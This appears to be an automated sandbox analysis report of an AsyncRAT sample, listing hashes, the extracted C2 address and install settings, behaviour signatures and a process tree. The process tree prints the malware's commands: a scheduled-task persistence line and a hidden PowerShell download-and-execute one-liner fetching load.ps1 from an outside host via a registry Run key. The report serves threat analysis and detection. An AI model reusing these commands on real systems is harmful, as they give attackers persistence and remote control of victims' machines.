Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 05:16

General

  • Target
    8f27ea96e682b7cb553764bfe653701079e1fb001d01a14f02792b16c5c039d2.exe
  • Size 55KB
  • Sample260910-fyfd4a1wew
  • SHA256 8f27ea96e682b7cb553764bfe653701079e1fb001d01a14f02792b16c5c039d2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://babytroll.ai/load.ps1

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

C2
  • dewiku888.charity:8080

Mutex
  • 91jlKNLJZynH

Attributes
  • delay

    3

  • install

    true

  • install_file

    tele@engineer_at_meta.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8f27ea96e682b7cb553764bfe653701079e1fb001d01a14f02792b16c5c039d2.exe
    "C:\Users\Admin\AppData\Local\Temp\8f27ea96e682b7cb553764bfe653701079e1fb001d01a14f02792b16c5c039d2.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3436
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"' & exit
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3684
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"'
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1256
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE829.tmp.bat""
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1368
      • C:\Windows\SysWOW64\timeout.exe
        timeout 3
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:4384
      • C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
        "C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3820
  • C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
    "C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    PID:1792
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://babytroll.ai/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      PID:2768
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://babytroll.ai/load.ps1')\"" /f
        3⤵
          PID:2772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://babytroll.ai/load.ps1')"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2344

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          tmpE829.tmp.bat

          • Path C:\Users\Admin\AppData\Local\Temp\tmpE829.tmp.bat
          • Size 165B
          • SHA256 65474960025a557dc898c8dc7e1adfade13a006d3e4325dafe1cbe002716c067
          • MD5 SHA1 SHA512 TLSH

          tele@engineer_at_meta.exe

          • Path C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
          • Size 55KB
          • SHA256 8f27ea96e682b7cb553764bfe653701079e1fb001d01a14f02792b16c5c039d2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1792-12-0x0000000075120000-0x00000000758DC000-memory.dmp

          memory/1792-14-0x0000000075120000-0x00000000758DC000-memory.dmp

          memory/2344-17-0x000002771E5F0000-0x000002771E612000-memory.dmp

          memory/3436-0-0x0000000075172000-0x0000000075173000-memory.dmp

          memory/3436-1-0x0000000000010000-0x0000000000024000-memory.dmp

          memory/3436-2-0x0000000075160000-0x000000007591C000-memory.dmp

          memory/3436-3-0x00000000056A0000-0x000000000573C000-memory.dmp

          memory/3436-9-0x0000000075160000-0x000000007591C000-memory.dmp